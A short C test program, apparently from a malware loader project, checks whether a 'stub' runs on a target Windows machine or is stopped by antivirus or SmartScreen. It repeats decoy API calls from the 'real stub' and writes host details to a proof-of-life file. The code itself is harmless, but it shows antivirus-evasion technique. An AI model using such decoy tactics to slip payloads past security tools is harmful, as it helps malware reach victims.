52 lines
1.8 KiB
C
Executable File
52 lines
1.8 KiB
C
Executable File
/* Minimal test: does the stub actually execute on the target machine?
|
|
* Drops a proof-of-life file, then exits.
|
|
* If the file appears -> exe ran, problem is in payload/decryption.
|
|
* If no file -> exe was blocked before execution (AV/SmartScreen). */
|
|
#include <windows.h>
|
|
#include <shlobj.h>
|
|
#include <ole2.h>
|
|
#include <stdio.h>
|
|
|
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
|
LPSTR lpCmdLine, int nCmdShow) {
|
|
(void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow;
|
|
|
|
/* Same decoy calls as the real stub */
|
|
OSVERSIONINFOW osvi = { .dwOSVersionInfoSize = sizeof(osvi) };
|
|
GetVersionExW(&osvi);
|
|
|
|
char compName[MAX_COMPUTERNAME_LENGTH + 1];
|
|
DWORD compNameLen = sizeof(compName);
|
|
GetComputerNameA(compName, &compNameLen);
|
|
|
|
char userName[256];
|
|
DWORD userNameLen = sizeof(userName);
|
|
GetUserNameA(userName, &userNameLen);
|
|
|
|
CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
|
CoUninitialize();
|
|
|
|
char folderPath[MAX_PATH];
|
|
SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, folderPath);
|
|
|
|
/* Write proof-of-life */
|
|
HANDLE hFile = CreateFileA("C:\\Users\\Public\\stub_ran.txt",
|
|
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile != INVALID_HANDLE_VALUE) {
|
|
char msg[512];
|
|
int len = wsprintfA(msg,
|
|
"Stub executed successfully!\r\n"
|
|
"Computer: %s\r\n"
|
|
"User: %s\r\n"
|
|
"AppData: %s\r\n"
|
|
"OS: %lu.%lu.%lu\r\n",
|
|
compName, userName, folderPath,
|
|
osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
|
|
DWORD written;
|
|
WriteFile(hFile, msg, len, &written, NULL);
|
|
CloseHandle(hFile);
|
|
}
|
|
|
|
return 0;
|
|
}
|